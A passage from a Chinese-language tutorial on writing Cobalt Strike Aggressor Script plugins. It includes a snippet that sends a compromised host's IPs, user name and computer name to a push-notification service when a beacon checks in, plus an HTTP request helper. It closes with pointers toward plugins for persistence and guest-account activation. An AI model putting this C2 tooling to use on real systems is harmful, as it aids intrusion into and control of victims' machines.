$url = 'https://sc.ftqq.com/此處填寫你Server醬的SCKEY碼.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
這樣就完成了一個 Server醬 上線提示的操作
這裡我分享一個國外師傅打包好的請求方法:
#
# Safe & sound HTTP request implementation for Cobalt Strike 4.0 Aggressor Script.
# Works with HTTP & HTTPS, GET/POST/etc. + redirections.
#
# Author: Mariusz B. / mgeeky, '20
# <mb [at] binary-offensive.com>
#
import java.net.URLEncoder;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
#
# httpRequest($method, $url, $body);
#
sub httpRequest {
$method = $1;
$url = $2;
$body = $3;
$n = 0;
if(size(@_) == 4) { $n = $4; }
$bodyLen = strlen($body);
$maxRedirectsAllowed = 10;
if ($n > $maxRedirectsAllowed) {
warn("Exceeded maximum number of redirects: $method $url ");
return "";
}
try
{
$urlobj = [new java.net.URL: $url];
$con = $null;
$con = [$urlobj openConnection];
[$con setRequestMethod: $method];
[$con setInstanceFollowRedirects: true];
[$con setRequestProperty: "Accept", "*/*"];
[$con setRequestProperty: "Cache-Control", "max-age=0"];
[$con setRequestProperty: "Connection", "keep-alive"];
[$con setRequestProperty: "User-Agent", $USER_AGENT];
if($bodyLen > 0) {
[$con setDoOutput: true];
[$con setRequestProperty: "Content-Type", "application/x-www-form-urlencoded"];
}
$outstream = [$con getOutputStream];
if($bodyLen > 0) {
[$outstream write: [$body getBytes]];
}
$inputstream = [$con getInputStream];
$handle = [SleepUtils getIOHandle: $inputstream, $outstream];
$responseCode = [$con getResponseCode];
if(($responseCode >= 301) && ($responseCode <= 304)) {
$loc = [$con getHeaderField: "Location"];
return httpRequest($method, $loc, $body, $n + 1);
}
@content = readAll($handle);
$response = "";
foreach $line (@content) {
$response .= $line . "\r\n";
}
if((strlen($response) > 2) && (right($response, 2) eq "\r\n")) {
$response = substr($response, 0, strlen($response) - 2);
}
return $response;
}
catch $message
{
warn("HTTP Request failed: $method $url : $message ");
printAll(getStackTrace());
return "";
}
}
github連結:https://github.com/mgeeky/cobalt-arsenal/blob/master/httprequest.cna
後記關於腳本編寫的官方文檔到這裡就結束了,後面是自定義報告和一些其他零碎的東西,C2插件的編寫最主要的是 數據模型 和事件,我們需要將不同的事件和數據模型結合,產生不同的結果;例如我們如何讓上線的主機直接添加自啟動、修改註冊表、激活guest用戶等,都可以自己寫插件實現,由於 Aggressor Script是基於Sleep腳本語言來寫的,所以需要好好的閱讀Sleep官方的文檔。翻譯內容可能會存在錯誤,還請各位師傅斧正
參考文檔
CS插件編寫官方文檔:https://www.cobaltstrike.com/help-scripting
Sleep語法文檔:http://sleep.dashnine.org/manual/index.html
投稿指南:https://wiki.wgpsec.org/guide/
加入我們一起學習,打造信息安全烏託邦
admin@wgpsec.org